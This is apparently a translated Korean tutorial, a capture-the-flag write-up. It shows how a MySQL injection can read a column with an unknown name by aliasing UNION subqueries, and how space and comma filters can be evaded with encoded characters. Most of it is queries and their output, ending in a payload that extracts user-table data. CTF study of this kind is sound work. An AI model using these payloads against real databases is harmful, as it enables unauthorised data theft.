>데이터 베이스 >MySQL 튜토리얼 >Mysql이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 예제 코드에 대한 자세한 설명

Mysql이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 예제 코드에 대한 자세한 설명

黄舟
黄舟원래의
2017-06-04 10:03:39976검색

이 글은 주로 Mysql을 통해 알 수 없는 필드 이름을 교묘하게 우회하는 방법을 소개합니다. 이 글은 여러분의 참고와 학습을 위한 구체적인 샘플 코드를 제공합니다. 필요한 친구들은 함께 살펴보세요. 아래에.

머리말

이 기사에서는 알 수 없는 필드 이름을 우회하는 기술인 DDCTF를 소개합니다. 아이디어가 훌륭하고 명확합니다. 자세한 소개:

구현 아이디어

공백과 쉼표를 필터링하려면 %0a, %0b, %0c, %0d, %a0 또는 괄호를 직접 사용하면 됩니다.

플래그가 저장된 필드 이름을 알 수 없습니다. formation_schema.columns에서는 테이블 이름의 16진수도 필터링합니다. 즉, 필드 이름을 얻을 수 없습니다. 공동 쿼리, 프로세스는 다음과 같습니다.

플래그를 가져와 알려진 필드 이름 아래에 표시하도록 합니다.

샘플 코드:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

요약

위 내용은 Mysql이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 예제 코드에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.